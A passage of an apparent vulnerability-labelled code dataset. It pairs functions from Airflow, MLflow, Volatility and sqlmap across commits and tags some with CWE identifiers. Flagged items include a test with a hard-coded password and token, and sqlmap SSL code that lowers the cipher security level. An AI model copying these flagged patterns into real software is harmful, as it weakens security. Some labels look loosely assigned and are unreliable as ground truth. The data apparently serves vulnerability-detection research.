                return var_val",CWE-Unknown,apache/airflow,736ebfe3fe2bd67406d5a50dacbfa1e43767d4ce,"def get(
        cls,
        key: str,
        default_var: Any = __NO_DEFAULT_SENTINEL,
        deserialize_json: bool = False,
    ) -> Any:
        """"""
        Get a value for an Airflow Variable Key.

        :param key: Variable Key
        :param default_var: Default value of the Variable if the Variable doesn't exist
        :param deserialize_json: Deserialize the value to a Python dict
        """"""
        var_val = Variable.get_variable_from_secrets(key=key)
        if var_val is None:
            if default_var is not cls.__NO_DEFAULT_SENTINEL:
                return default_var
            else:
                raise KeyError(f""Variable {key} does not exist"")
        else:
            if deserialize_json:
                obj = json.loads(var_val)
                mask_secret(obj, key)
                return obj
            else:
                mask_secret(var_val, key)
                return var_val"
,UNKNOWN,UNKNOWN,tests/providers/hashicorp/secrets/test_vault.py,1,"def test_get_connection_without_predefined_mount_point(self, mock_hvac):
        mock_client = mock.MagicMock()
        mock_hvac.Client.return_value = mock_client
        mock_client.secrets.kv.v2.read_secret_version.return_value = {
            ""request_id"": ""94011e25-f8dc-ec29-221b-1f9c1d9ad2ae"",
            ""lease_id"": """",
            ""renewable"": False,
            ""lease_duration"": 0,
            ""data"": {
                ""data"": {
                    ""conn_type"": ""postgresql"",
                    ""login"": ""airflow"",
                    ""password"": ""airflow"",
                    ""host"": ""host"",
                    ""port"": ""5432"",
                    ""schema"": ""airflow"",
                    ""extra"": '{""foo"":""bar"",""baz"":""taz""}',
                },
                ""metadata"": {
                    ""created_time"": ""2020-03-16T21:01:43.331126Z"",
                    ""deletion_time"": """",
                    ""destroyed"": False,
                    ""version"": 1,
                },
            },
            ""wrap_info"": None,
            ""warnings"": None,
            ""auth"": None,
        }

        kwargs = {
            ""connections_path"": ""connections"",
            ""mount_point"": None,
            ""auth_type"": ""token"",
            ""url"": ""http://127.0.0.1:8200"",
            ""token"": ""s.7AU0I51yv1Q1lxOIg1F3ZRAS"",
        }

        test_client = VaultBackend(**kwargs)
        connection = test_client.get_connection(conn_id=""airflow/test_postgres"")
        assert ""postgresql://airflow:airflow@host:5432/airflow?foo=bar&baz=taz"" == connection.get_uri()","CWE-259, CWE-703",apache/airflow,4fa91d7540b93420a6c7c43737e3ac881b418873,"def test_get_connection_without_predefined_mount_point(self, mock_hvac):
        mock_client = mock.MagicMock()
        mock_hvac.Client.return_value = mock_client
        mock_client.secrets.kv.v2.read_secret_version.return_value = {
            ""request_id"": ""94011e25-f8dc-ec29-221b-1f9c1d9ad2ae"",
            ""lease_id"": """",
            ""renewable"": False,
            ""lease_duration"": 0,
            ""data"": {
                ""data"": {
                    ""conn_type"": ""postgresql"",
                    ""login"": ""airflow"",
                    ""password"": ""airflow"",
                    ""host"": ""host"",
                    ""port"": ""5432"",
                    ""schema"": ""airflow"",
                    ""extra"": '{""foo"":""bar"",""baz"":""taz""}',
                },
                ""metadata"": {
                    ""created_time"": ""2020-03-16T21:01:43.331126Z"",
                    ""deletion_time"": """",
                    ""destroyed"": False,
                    ""version"": 1,
                },
            },
            ""wrap_info"": None,
            ""warnings"": None,
            ""auth"": None,
        }

        kwargs = {
            ""connections_path"": ""connections"",
            ""mount_point"": None,
            ""auth_type"": ""token"",
            ""url"": ""http://127.0.0.1:8200"",
            ""token"": ""s.7AU0I51yv1Q1lxOIg1F3ZRAS"",
        }

        test_client = VaultBackend(**kwargs)
        connection = test_client.get_connection(conn_id=""airflow/test_postgres"")
        assert ""postgresql://airflow:airflow@host:5432/airflow?foo=bar&baz=taz"" == connection.get_uri()"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/pipelines/steps/train.py,0,"def _build_step_card(
        self,
        eval_metrics,
        pred_and_error_df,
        model,
        model_schema,
        run_id,
        model_uri,
        worst_examples_df,
        output_directory,
        leaderboard_df=None,
        tuning_df=None,
    ):
        import pandas as pd
        from sklearn.utils import estimator_html_repr
        from sklearn import set_config

        card = BaseCard(self.pipeline_name, self.name)
        # Tab 0: model performance summary.
        metric_df = (
            get_merged_eval_metrics(
                eval_metrics,
                ordered_metric_names=[
                    self.primary_metric,
                    *self.user_defined_custom_metrics.keys(),
                ],
            )
            .reset_index()
            .rename(columns={""index"": ""Metric""})
        )

        def row_style(row):
            if row.Metric == self.primary_metric or row.Metric in self.user_defined_custom_metrics:
                return pd.Series(""font-weight: bold"", row.index)
            else:
                return pd.Series("""", row.index)

        metric_table_html = BaseCard.render_table(
            metric_df.style.format({""training"": ""{:.6g}"", ""validation"": ""{:.6g}""}).apply(
                row_style, axis=1
            )
        )

        # Tab 1: Model performance.
        card.add_tab(
            ""Model Performance"",
            ""<h3 class='section-title'>Summary Metrics (Validation)</h3>{{ METRICS }} "",
        ).add_html(""METRICS"", metric_table_html)

        if not self.skip_data_profiling:
            # Tab 2: Prediction and error data profile.
            pred_and_error_df_profile = get_pandas_data_profiles(
                [
                    [
                        ""Predictions and Errors (Validation Dataset)"",
                        pred_and_error_df.reset_index(drop=True),
                    ]
                ]
            )
            card.add_tab(""Data Profile (Predictions)"", ""{{PROFILE}}"").add_pandas_profile(
                ""PROFILE"", pred_and_error_df_profile
            )
        # Tab 3: Model architecture.
        set_config(display=""diagram"")
        model_repr = estimator_html_repr(model)
        card.add_tab(""Model Architecture"", ""{{MODEL_ARCH}}"").add_html(""MODEL_ARCH"", model_repr)

        # Tab 4: Inferred model (transformer + estimator) schema.
        def render_schema(inputs, title):
            from mlflow.types import ColSpec

            table = BaseCard.render_table(
                (
                    {
                        ""Name"": ""  "" + (spec.name or ""-""),
                        ""Type"": repr(spec.type) if isinstance(spec, ColSpec) else repr(spec),
                    }
                    for spec in inputs
                )
            )
            return '<div style=""margin: 5px""><h2>{title}</h2>{table}</div>'.format(
                title=title, table=table
            )

        schema_tables = [render_schema(model_schema.inputs.inputs, ""Inputs"")]
        if model_schema.outputs:
            schema_tables += [render_schema(model_schema.outputs.inputs, ""Outputs"")]

        card.add_tab(""Model Schema"", ""{{MODEL_SCHEMA}}"").add_html(
            ""MODEL_SCHEMA"",
            '<div style=""display: flex"">{tables}</div>'.format(tables=""\n"".join(schema_tables)),
        )

        # Tab 5: Examples with Largest Prediction Error
        (
            card.add_tab(""Worst Predictions"", ""{{ WORST_EXAMPLES_TABLE }}"").add_html(
                ""WORST_EXAMPLES_TABLE"", BaseCard.render_table(worst_examples_df)
            )
        )

        # Tab 6: Leaderboard
        if leaderboard_df is not None:
            (
                card.add_tab(""Leaderboard"", ""{{ LEADERBOARD_TABLE }}"").add_html(
                    ""LEADERBOARD_TABLE"", BaseCard.render_table(leaderboard_df, hide_index=False)
                )
            )

        # Tab 7: Best Parameters
        if self.step_config[""tuning_enabled""]:
            best_parameters_card_tab = card.add_tab(
                ""Best Parameters"",
                ""{{ BEST_PARAMETERS }} "",
            )
            best_parameters_yaml = os.path.join(output_directory, ""best_parameters.yaml"")
            if os.path.exists(best_parameters_yaml):
                best_hardcoded_parameters = open(best_parameters_yaml).read()
                best_parameters_card_tab.add_html(
                    ""BEST_PARAMETERS"",
                    f""<b>Best parameters:</b><br>""
                    f""<pre>{best_hardcoded_parameters}</pre><br><br>"",
                )

        # Tab 8: HP trials
        if tuning_df is not None:
            tuning_trials_card_tab = card.add_tab(
                ""Tuning Trials"",
                ""{{ SEARCH_SPACE }}"" + ""{{ TUNING_TABLE_TITLE }}"" + ""{{ TUNING_TABLE }}"",
            )
            tuning_params = yaml.dump(self.step_config[""tuning""][""parameters""])
            tuning_trials_card_tab.add_html(
                ""SEARCH_SPACE"",
                f""<b>Tuning search space:</b> <br><pre>{tuning_params}</pre><br><br>"",
            )
            tuning_trials_card_tab.add_html(""TUNING_TABLE_TITLE"", ""<b>Tuning results:</b><br>"")
            tuning_trials_card_tab.add_html(
                ""TUNING_TABLE"",
                BaseCard.render_table(
                    tuning_df.style.apply(
                        lambda row: pd.Series(""font-weight: bold"", row.index),
                        axis=1,
                        subset=tuning_df.index[0],
                    ),
                    hide_index=True,
                ),
            )

        # Tab 9: Run summary.
        run_card_tab = card.add_tab(
            ""Run Summary"",
            ""{{ RUN_ID }} "" + ""{{ MODEL_URI }}"" + ""{{ EXE_DURATION }}"" + ""{{ LAST_UPDATE_TIME }}"",
        )
        run_url = get_databricks_run_url(
            tracking_uri=mlflow.get_tracking_uri(),
            run_id=run_id,
        )
        model_url = get_databricks_run_url(
            tracking_uri=mlflow.get_tracking_uri(),
            run_id=run_id,
            artifact_path=re.sub(r""^.*?%s"" % run_id, """", model_uri),
        )

        if run_url is not None:
            run_card_tab.add_html(
                ""RUN_ID"", f""<b>MLflow Run ID:</b> <a href={run_url}>{run_id}</a><br><br>""
            )
        else:
            run_card_tab.add_markdown(""RUN_ID"", f""**MLflow Run ID:** `{run_id}`"")

        if model_url is not None:
            run_card_tab.add_html(
                ""MODEL_URI"", f""<b>MLflow Model URI:</b> <a href={model_url}>{model_uri}</a>""
            )
        else:
            run_card_tab.add_markdown(""MODEL_URI"", f""**MLflow Model URI:** `{model_uri}`"")

        return card",,mlflow/mlflow,0e1b325e3b709a11cf3bb07dffa770369ad696d3,"def _build_step_card(
        self,
        eval_metrics,
        pred_and_error_df,
        model,
        model_schema,
        run_id,
        model_uri,
        worst_examples_df,
        output_directory,
        leaderboard_df=None,
        tuning_df=None,
    ):
        import pandas as pd
        from sklearn.utils import estimator_html_repr
        from sklearn import set_config

        card = BaseCard(self.pipeline_name, self.name)
        # Tab 0: model performance summary.
        metric_df = (
            get_merged_eval_metrics(
                eval_metrics,
                ordered_metric_names=[
                    self.primary_metric,
                    *self.user_defined_custom_metrics.keys(),
                ],
            )
            .reset_index()
            .rename(columns={""index"": ""Metric""})
        )

        def row_style(row):
            if row.Metric == self.primary_metric or row.Metric in self.user_defined_custom_metrics:
                return pd.Series(""font-weight: bold"", row.index)
            else:
                return pd.Series("""", row.index)

        metric_table_html = BaseCard.render_table(
            metric_df.style.format({""training"": ""{:.6g}"", ""validation"": ""{:.6g}""}).apply(
                row_style, axis=1
            )
        )

        # Tab 1: Model performance summary metrics.
        card.add_tab(
            ""Model Performance Summary Metrics"",
            ""<h3 class='section-title'>Summary Metrics</h3>{{ METRICS }} "",
        ).add_html(""METRICS"", metric_table_html)

        if not self.skip_data_profiling:
            # Tab 2: Prediction and error data profile.
            pred_and_error_df_profile = get_pandas_data_profiles(
                [
                    [
                        ""Predictions and Errors (Validation Dataset)"",
                        pred_and_error_df.reset_index(drop=True),
                    ]
                ]
            )
            card.add_tab(""Profile of Predictions and Errors"", ""{{PROFILE}}"").add_pandas_profile(
                ""PROFILE"", pred_and_error_df_profile
            )
        # Tab 3: Model architecture.
        set_config(display=""diagram"")
        model_repr = estimator_html_repr(model)
        card.add_tab(""Model Architecture"", ""{{MODEL_ARCH}}"").add_html(""MODEL_ARCH"", model_repr)

        # Tab 4: Inferred model (transformer + estimator) schema.
        def render_schema(inputs, title):
            from mlflow.types import ColSpec

            table = BaseCard.render_table(
                (
                    {
                        ""Name"": ""  "" + (spec.name or ""-""),
                        ""Type"": repr(spec.type) if isinstance(spec, ColSpec) else repr(spec),
                    }
                    for spec in inputs
                )
            )
            return '<div style=""margin: 5px""><h2>{title}</h2>{table}</div>'.format(
                title=title, table=table
            )

        schema_tables = [render_schema(model_schema.inputs.inputs, ""Inputs"")]
        if model_schema.outputs:
            schema_tables += [render_schema(model_schema.outputs.inputs, ""Outputs"")]

        card.add_tab(""Model Schema"", ""{{MODEL_SCHEMA}}"").add_html(
            ""MODEL_SCHEMA"",
            '<div style=""display: flex"">{tables}</div>'.format(tables=""\n"".join(schema_tables)),
        )

        # Tab 5: Examples with Largest Prediction Error
        (
            card.add_tab(
                ""Training Examples with Largest Prediction Error"", ""{{ WORST_EXAMPLES_TABLE }}""
            ).add_html(""WORST_EXAMPLES_TABLE"", BaseCard.render_table(worst_examples_df))
        )

        # Tab 6: Leaderboard
        if leaderboard_df is not None:
            (
                card.add_tab(""Leaderboard"", ""{{ LEADERBOARD_TABLE }}"").add_html(
                    ""LEADERBOARD_TABLE"", BaseCard.render_table(leaderboard_df, hide_index=False)
                )
            )

        # Tab 7: Best Parameters
        if self.step_config[""tuning_enabled""]:
            best_parameters_card_tab = card.add_tab(
                ""Best Parameters"",
                ""{{ BEST_PARAMETERS }} "",
            )
            best_parameters_yaml = os.path.join(output_directory, ""best_parameters.yaml"")
            if os.path.exists(best_parameters_yaml):
                best_hardcoded_parameters = open(best_parameters_yaml).read()
                best_parameters_card_tab.add_html(
                    ""BEST_PARAMETERS"",
                    f""<b>Best parameters:</b><br>""
                    f""<pre>{best_hardcoded_parameters}</pre><br><br>"",
                )

        # Tab 8: HP trials
        if tuning_df is not None:
            tuning_trials_card_tab = card.add_tab(
                ""Tuning Trials"",
                ""{{ SEARCH_SPACE }}"" + ""{{ TUNING_TABLE_TITLE }}"" + ""{{ TUNING_TABLE }}"",
            )
            tuning_params = yaml.dump(self.step_config[""tuning""][""parameters""])
            tuning_trials_card_tab.add_html(
                ""SEARCH_SPACE"",
                f""<b>Tuning search space:</b> <br><pre>{tuning_params}</pre><br><br>"",
            )
            tuning_trials_card_tab.add_html(""TUNING_TABLE_TITLE"", ""<b>Tuning results:</b><br>"")
            tuning_trials_card_tab.add_html(
                ""TUNING_TABLE"",
                BaseCard.render_table(
                    tuning_df.style.apply(
                        lambda row: pd.Series(""font-weight: bold"", row.index),
                        axis=1,
                        subset=tuning_df.index[0],
                    ),
                    hide_index=True,
                ),
            )

        # Tab 9: Run summary.
        run_card_tab = card.add_tab(
            ""Run Summary"",
            ""{{ RUN_ID }} "" + ""{{ MODEL_URI }}"" + ""{{ EXE_DURATION }}"" + ""{{ LAST_UPDATE_TIME }}"",
        )
        run_url = get_databricks_run_url(
            tracking_uri=mlflow.get_tracking_uri(),
            run_id=run_id,
        )
        model_url = get_databricks_run_url(
            tracking_uri=mlflow.get_tracking_uri(),
            run_id=run_id,
            artifact_path=re.sub(r""^.*?%s"" % run_id, """", model_uri),
        )

        if run_url is not None:
            run_card_tab.add_html(
                ""RUN_ID"", f""<b>MLflow Run ID:</b> <a href={run_url}>{run_id}</a><br><br>""
            )
        else:
            run_card_tab.add_markdown(""RUN_ID"", f""**MLflow Run ID:** `{run_id}`"")

        if model_url is not None:
            run_card_tab.add_html(
                ""MODEL_URI"", f""<b>MLflow Model URI:</b> <a href={model_url}>{model_uri}</a>""
            )
        else:
            run_card_tab.add_markdown(""MODEL_URI"", f""**MLflow Model URI:** `{model_uri}`"")

        return card"
,UNKNOWN,UNKNOWN,tests/models/test_dag.py,1,"def test_bulk_write_to_db_assets(self):
        """"""
        Ensure that assets referenced in a dag are correctly loaded into the database.
        """"""
        dag_id1 = ""test_asset_dag1""
        dag_id2 = ""test_asset_dag2""

        task_id = ""test_asset_task""

        uri1 = ""s3://asset/1""
        a1 = Asset(uri=uri1, name=""test_asset_1"", extra={""not"": ""used""}, group=""test-group"")
        a2 = Asset(uri=""s3://asset/2"", name=""test_asset_2"", group=""test-group"")
        a3 = Asset(uri=""s3://asset/3"", name=""test_asset-3"", group=""test-group"")

        dag1 = DAG(dag_id=dag_id1, start_date=DEFAULT_DATE, schedule=[a1])
        EmptyOperator(task_id=task_id, dag=dag1, outlets=[a2, a3])

        dag2 = DAG(dag_id=dag_id2, start_date=DEFAULT_DATE, schedule=None)
        EmptyOperator(
            task_id=task_id,
            dag=dag2,
            outlets=[Asset(uri=uri1, name=""test_asset_1"", extra={""should"": ""be used""}, group=""test-group"")],
        )

        session = settings.Session()
        dag1.clear()
        DAG.bulk_write_to_db([dag1, dag2], session=session)
        session.commit()
        stored_assets = {x.uri: x for x in session.query(AssetModel).all()}
        asset1_orm = stored_assets[a1.uri]
        asset2_orm = stored_assets[a2.uri]
        asset3_orm = stored_assets[a3.uri]
        assert stored_assets[uri1].extra == {""should"": ""be used""}
        assert [x.dag_id for x in asset1_orm.consuming_dags] == [dag_id1]
        assert [(x.task_id, x.dag_id) for x in asset1_orm.producing_tasks] == [(task_id, dag_id2)]
        assert set(
            session.query(
                TaskOutletAssetReference.task_id,
                TaskOutletAssetReference.dag_id,
                TaskOutletAssetReference.asset_id,
            )
            .filter(TaskOutletAssetReference.dag_id.in_((dag_id1, dag_id2)))
            .all()
        ) == {
            (task_id, dag_id1, asset2_orm.id),
            (task_id, dag_id1, asset3_orm.id),
            (task_id, dag_id2, asset1_orm.id),
        }

        # now that we have verified that a new dag has its asset references recorded properly,
        # we need to verify that *changes* are recorded properly.
        # so if any references are *removed*, they should also be deleted from the DB
        # so let's remove some references and see what happens
        dag1 = DAG(dag_id=dag_id1, start_date=DEFAULT_DATE, schedule=None)
        EmptyOperator(task_id=task_id, dag=dag1, outlets=[a2])
        dag2 = DAG(dag_id=dag_id2, start_date=DEFAULT_DATE, schedule=None)
        EmptyOperator(task_id=task_id, dag=dag2)
        DAG.bulk_write_to_db([dag1, dag2], session=session)
        session.commit()
        session.expunge_all()
        stored_assets = {x.uri: x for x in session.query(AssetModel).all()}
        asset1_orm = stored_assets[a1.uri]
        asset2_orm = stored_assets[a2.uri]
        assert [x.dag_id for x in asset1_orm.consuming_dags] == []
        assert set(
            session.query(
                TaskOutletAssetReference.task_id,
                TaskOutletAssetReference.dag_id,
                TaskOutletAssetReference.asset_id,
            )
            .filter(TaskOutletAssetReference.dag_id.in_((dag_id1, dag_id2)))
            .all()
        ) == {(task_id, dag_id1, asset2_orm.id)}",CWE-703,apache/airflow,06c382314fcb65745e33d27408d6c48fd85de21a,"def test_bulk_write_to_db_assets(self):
        """"""
        Ensure that assets referenced in a dag are correctly loaded into the database.
        """"""
        dag_id1 = ""test_asset_dag1""
        dag_id2 = ""test_asset_dag2""
        task_id = ""test_asset_task""
        uri1 = ""s3://asset/1""
        a1 = Asset(uri1, extra={""not"": ""used""})
        a2 = Asset(""s3://asset/2"")
        a3 = Asset(""s3://asset/3"")
        dag1 = DAG(dag_id=dag_id1, start_date=DEFAULT_DATE, schedule=[a1])
        EmptyOperator(task_id=task_id, dag=dag1, outlets=[a2, a3])
        dag2 = DAG(dag_id=dag_id2, start_date=DEFAULT_DATE, schedule=None)
        EmptyOperator(task_id=task_id, dag=dag2, outlets=[Asset(uri1, extra={""should"": ""be used""})])
        session = settings.Session()
        dag1.clear()
        DAG.bulk_write_to_db([dag1, dag2], session=session)
        session.commit()
        stored_assets = {x.uri: x for x in session.query(AssetModel).all()}
        asset1_orm = stored_assets[a1.uri]
        asset2_orm = stored_assets[a2.uri]
        asset3_orm = stored_assets[a3.uri]
        assert stored_assets[uri1].extra == {""should"": ""be used""}
        assert [x.dag_id for x in asset1_orm.consuming_dags] == [dag_id1]
        assert [(x.task_id, x.dag_id) for x in asset1_orm.producing_tasks] == [(task_id, dag_id2)]
        assert set(
            session.query(
                TaskOutletAssetReference.task_id,
                TaskOutletAssetReference.dag_id,
                TaskOutletAssetReference.asset_id,
            )
            .filter(TaskOutletAssetReference.dag_id.in_((dag_id1, dag_id2)))
            .all()
        ) == {
            (task_id, dag_id1, asset2_orm.id),
            (task_id, dag_id1, asset3_orm.id),
            (task_id, dag_id2, asset1_orm.id),
        }

        # now that we have verified that a new dag has its asset references recorded properly,
        # we need to verify that *changes* are recorded properly.
        # so if any references are *removed*, they should also be deleted from the DB
        # so let's remove some references and see what happens
        dag1 = DAG(dag_id=dag_id1, start_date=DEFAULT_DATE, schedule=None)
        EmptyOperator(task_id=task_id, dag=dag1, outlets=[a2])
        dag2 = DAG(dag_id=dag_id2, start_date=DEFAULT_DATE, schedule=None)
        EmptyOperator(task_id=task_id, dag=dag2)
        DAG.bulk_write_to_db([dag1, dag2], session=session)
        session.commit()
        session.expunge_all()
        stored_assets = {x.uri: x for x in session.query(AssetModel).all()}
        asset1_orm = stored_assets[a1.uri]
        asset2_orm = stored_assets[a2.uri]
        assert [x.dag_id for x in asset1_orm.consuming_dags] == []
        assert set(
            session.query(
                TaskOutletAssetReference.task_id,
                TaskOutletAssetReference.dag_id,
                TaskOutletAssetReference.asset_id,
            )
            .filter(TaskOutletAssetReference.dag_id.in_((dag_id1, dag_id2)))
            .all()
        ) == {(task_id, dag_id1, asset2_orm.id)}"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/linux/lsof.py,0,"def calculate(self):
        linux_common.set_plugin_members(self)
        tasks = linux_pslist.linux_pslist.calculate(self)

        for task in tasks:
            fds = task.files.get_fds()
            max_fds = task.files.get_max_fds()

            fds = obj.Object(theType = 'Array', offset = fds.obj_offset, vm = self.addr_space, targetType = 'Pointer', count = max_fds)

            for i in range(max_fds):
                if fds[i]:
                    filp = obj.Object('file', offset = fds[i], vm = self.addr_space)
                    yield (task, filp, i)",,volatilityfoundation/volatility,e0170340236abc28c14a677eb302a681db957e33,"def calculate(self):
        linux_common.set_plugin_members(self)
        tasks = linux_pslist.linux_pslist.calculate(self)

        for task in tasks:
            fds = task.files.get_fds()
            max_fds = task.files.get_max_fds()

            fds = obj.Object(theType = 'Array', offset = fds.obj_offset, vm = self.addr_space, targetType = 'Pointer', count = max_fds)

            for i in range(max_fds):
                if fds[i]:
                    filp = obj.Object('file', offset = fds[i], vm = self.addr_space)
                    yield (task, filp, i)"
,UNKNOWN,UNKNOWN,lib/request/httpshandler.py,1,"def connect(self):
        def create_sock():
            sock = socket.create_connection((self.host, self.port), self.timeout)
            if getattr(self, ""_tunnel_host"", None):
                self.sock = sock
                self._tunnel()
            return sock

        success = False

        # Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext
        #               https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni
        if re.search(r""\A[\d.]+\Z"", self.host) is None and kb.tlsSNI.get(self.host) is not False and hasattr(ssl, ""SSLContext""):
            for protocol in (_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1):
                try:
                    sock = create_sock()
                    if protocol not in _contexts:
                        _contexts[protocol] = ssl.SSLContext(protocol)
                        try:
                            # Reference(s): https://askubuntu.com/a/1263098
                            #               https://askubuntu.com/a/1250807
                            _contexts[protocol].set_ciphers(""DEFAULT@SECLEVEL=1"")
                        except ssl.SSLError:
                            pass
                    result = _contexts[protocol].wrap_socket(sock, do_handshake_on_connect=True, server_hostname=self.host)
                    if result:
                        success = True
                        self.sock = result
                        _protocols.remove(protocol)
                        _protocols.insert(0, protocol)
                        break
                    else:
                        sock.close()
                except (ssl.SSLError, socket.error, _http_client.BadStatusLine) as ex:
                    self._tunnel_host = None
                    logger.debug(""SSL connection error occurred for '%s' ('%s')"" % (_lut[protocol], getSafeExString(ex)))

            if kb.tlsSNI.get(self.host) is None:
                kb.tlsSNI[self.host] = success

        if not success:
            for protocol in _protocols:
                try:
                    sock = create_sock()
                    _ = ssl.wrap_socket(sock, self.key_file, self.cert_file, ssl_version=protocol)
                    if _:
                        success = True
                        self.sock = _
                        _protocols.remove(protocol)
                        _protocols.insert(0, protocol)
                        break
                    else:
                        sock.close()
                except (ssl.SSLError, socket.error, _http_client.BadStatusLine) as ex:
                    self._tunnel_host = None
                    logger.debug(""SSL connection error occurred for '%s' ('%s')"" % (_lut[protocol], getSafeExString(ex)))

        if not success:
            errMsg = ""can't establish SSL connection""
            # Reference: https://docs.python.org/2/library/ssl.html
            if distutils.version.LooseVersion(PYVERSION) < distutils.version.LooseVersion(""2.7.9""):
                errMsg += "" (please retry with Python >= 2.7.9)""

            if kb.sslSuccess and not self.retrying:
                self.retrying = True

                for _ in xrange(conf.retries):
                    try:
                        self.connect()
                    except SqlmapConnectionException:
                        pass
                    else:
                        return

            raise SqlmapConnectionException(errMsg)
        else:
            kb.sslSuccess = True",CWE-327,sqlmapproject/sqlmap,815d417a9e46be2c7947c9addb17538e45085dbe,"def connect(self):
        def create_sock():
            sock = socket.create_connection((self.host, self.port), self.timeout)
            if getattr(self, ""_tunnel_host"", None):
                self.sock = sock
                self._tunnel()
            return sock

        success = False

        # Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext
        #               https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni
        if re.search(r""\A[\d.]+\Z"", self.host) is None and kb.tlsSNI.get(self.host) is not False and hasattr(ssl, ""SSLContext""):
            for protocol in (_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1):
                try:
                    sock = create_sock()
                    if protocol not in _contexts:
                        _contexts[protocol] = ssl.SSLContext(protocol)
                    result = _contexts[protocol].wrap_socket(sock, do_handshake_on_connect=True, server_hostname=self.host)
                    if result:
                        success = True
                        self.sock = result
                        _protocols.remove(protocol)
                        _protocols.insert(0, protocol)
                        break
                    else:
                        sock.close()
                except (ssl.SSLError, socket.error, _http_client.BadStatusLine) as ex:
                    self._tunnel_host = None
                    logger.debug(""SSL connection error occurred for '%s' ('%s')"" % (_lut[protocol], getSafeExString(ex)))

            if kb.tlsSNI.get(self.host) is None:
                kb.tlsSNI[self.host] = success

        if not success:
            for protocol in _protocols:
                try:
                    sock = create_sock()
                    _ = ssl.wrap_socket(sock, self.key_file, self.cert_file, ssl_version=protocol)
                    if _:
                        success = True
                        self.sock = _
                        _protocols.remove(protocol)
                        _protocols.insert(0, protocol)
                        break
                    else:
                        sock.close()
                except (ssl.SSLError, socket.error, _http_client.BadStatusLine) as ex:
                    self._tunnel_host = None
                    logger.debug(""SSL connection error occurred for '%s' ('%s')"" % (_lut[protocol], getSafeExString(ex)))

        if not success:
            errMsg = ""can't establish SSL connection""
            # Reference: https://docs.python.org/2/library/ssl.html
            if distutils.version.LooseVersion(PYVERSION) < distutils.version.LooseVersion(""2.7.9""):
                errMsg += "" (please retry with Python >= 2.7.9)""

            if kb.sslSuccess and not self.retrying:
                self.retrying = True

                for _ in xrange(conf.retries):
                    try:
                        self.connect()
                    except SqlmapConnectionException:
                        pass
                    else:
                        return

            raise SqlmapConnectionException(errMsg)
        else:
            kb.sslSuccess = True"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/langchain/api_request_parallel_processor.py,0,"def single_call_api(self, callback_handlers: Optional[List[BaseCallbackHandler]]):
        from langchain.schema import BaseRetriever

        from mlflow.langchain.utils import lc_runnables_types

        if isinstance(self.lc_model, BaseRetriever):
            # Retrievers are invoked differently than Chains
            docs = self.lc_model.get_relevant_documents(
                **self.request_json, callbacks=callback_handlers
            )
            response = [
                {""page_content"": doc.page_content, ""metadata"": doc.metadata} for doc in docs
            ]
        elif isinstance(self.lc_model, lc_runnables_types()):

            def _predict_single_input(single_input):
                if self.stream:
                    return self.lc_model.stream(
                        single_input, config={""callbacks"": callback_handlers}
                    )
                return self.lc_model.invoke(single_input, config={""callbacks"": callback_handlers})

            if isinstance(self.request_json, dict):
                # This is a temporary fix for the case when spark_udf converts
                # input into pandas dataframe with column name, while the model
                # does not accept dictionaries as input, it leads to errors like
                # Expected Scalar value for String field 'query_text'
                try:
                    response = _predict_single_input(self.request_json)
                except TypeError as e:
                    _logger.warning(
                        f""Failed to invoke {self.lc_model.__class__.__name__} ""
                        f""with {self.request_json}. Error: {e!r}. Trying to ""
                        ""invoke with the first value of the dictionary.""
                    )
                    self.request_json = next(iter(self.request_json.values()))
                    (
                        prepared_request_json,
                        did_perform_chat_conversion,
                    ) = APIRequest._transform_request_json_for_chat_if_necessary(
                        self.request_json, self.lc_model
                    )
                    self.did_perform_chat_conversion = did_perform_chat_conversion

                    response = _predict_single_input(prepared_request_json)
            else:
                response = _predict_single_input(self.request_json)

            if self.did_perform_chat_conversion or self.convert_chat_responses:
                if self.stream:
                    response = APIRequest._try_transform_response_iter_to_chat_format(response)
                else:
                    response = APIRequest._try_transform_response_to_chat_format(response)
        else:
            response = self.lc_model(
                self.request_json,
                return_only_outputs=True,
                callbacks=callback_handlers,
            )

            if self.did_perform_chat_conversion or self.convert_chat_responses:
                response = APIRequest._try_transform_response_to_chat_format(response)
            elif len(response) == 1:
                # to maintain existing code, single output chains will still return
                # only the result
                response = response.popitem()[1]
            else:
                self._prepare_to_serialize(response)

        return response",,mlflow/mlflow,12bb6284c49c4404930577082c4d4279854350c9,"def single_call_api(self, callback_handlers: Optional[List[BaseCallbackHandler]]):
        from langchain.schema import BaseRetriever

        from mlflow.langchain.utils import lc_runnables_types

        if isinstance(self.lc_model, BaseRetriever):
            # Retrievers are invoked differently than Chains
            docs = self.lc_model.get_relevant_documents(**self.request_json)
            response = [
                {""page_content"": doc.page_content, ""metadata"": doc.metadata} for doc in docs
            ]
        elif isinstance(self.lc_model, lc_runnables_types()):

            def _predict_single_input(single_input):
                if self.stream:
                    return self.lc_model.stream(
                        single_input, config={""callbacks"": callback_handlers}
                    )
                return self.lc_model.invoke(single_input, config={""callbacks"": callback_handlers})

            if isinstance(self.request_json, dict):
                # This is a temporary fix for the case when spark_udf converts
                # input into pandas dataframe with column name, while the model
                # does not accept dictionaries as input, it leads to errors like
                # Expected Scalar value for String field 'query_text'
                try:
                    response = _predict_single_input(self.request_json)
                except TypeError as e:
                    _logger.warning(
                        f""Failed to invoke {self.lc_model.__class__.__name__} ""
                        f""with {self.request_json}. Error: {e!r}. Trying to ""
                        ""invoke with the first value of the dictionary.""
                    )
                    self.request_json = next(iter(self.request_json.values()))
                    (
                        prepared_request_json,
                        did_perform_chat_conversion,
                    ) = APIRequest._transform_request_json_for_chat_if_necessary(
                        self.request_json, self.lc_model
                    )
                    self.did_perform_chat_conversion = did_perform_chat_conversion

                    response = _predict_single_input(prepared_request_json)
            else:
                response = _predict_single_input(self.request_json)

            if self.did_perform_chat_conversion or self.convert_chat_responses:
                if self.stream:
                    response = APIRequest._try_transform_response_iter_to_chat_format(response)
                else:
                    response = APIRequest._try_transform_response_to_chat_format(response)
        else:
            response = self.lc_model(
                self.request_json,
                return_only_outputs=True,
                callbacks=callback_handlers,
            )

            if self.did_perform_chat_conversion or self.convert_chat_responses:
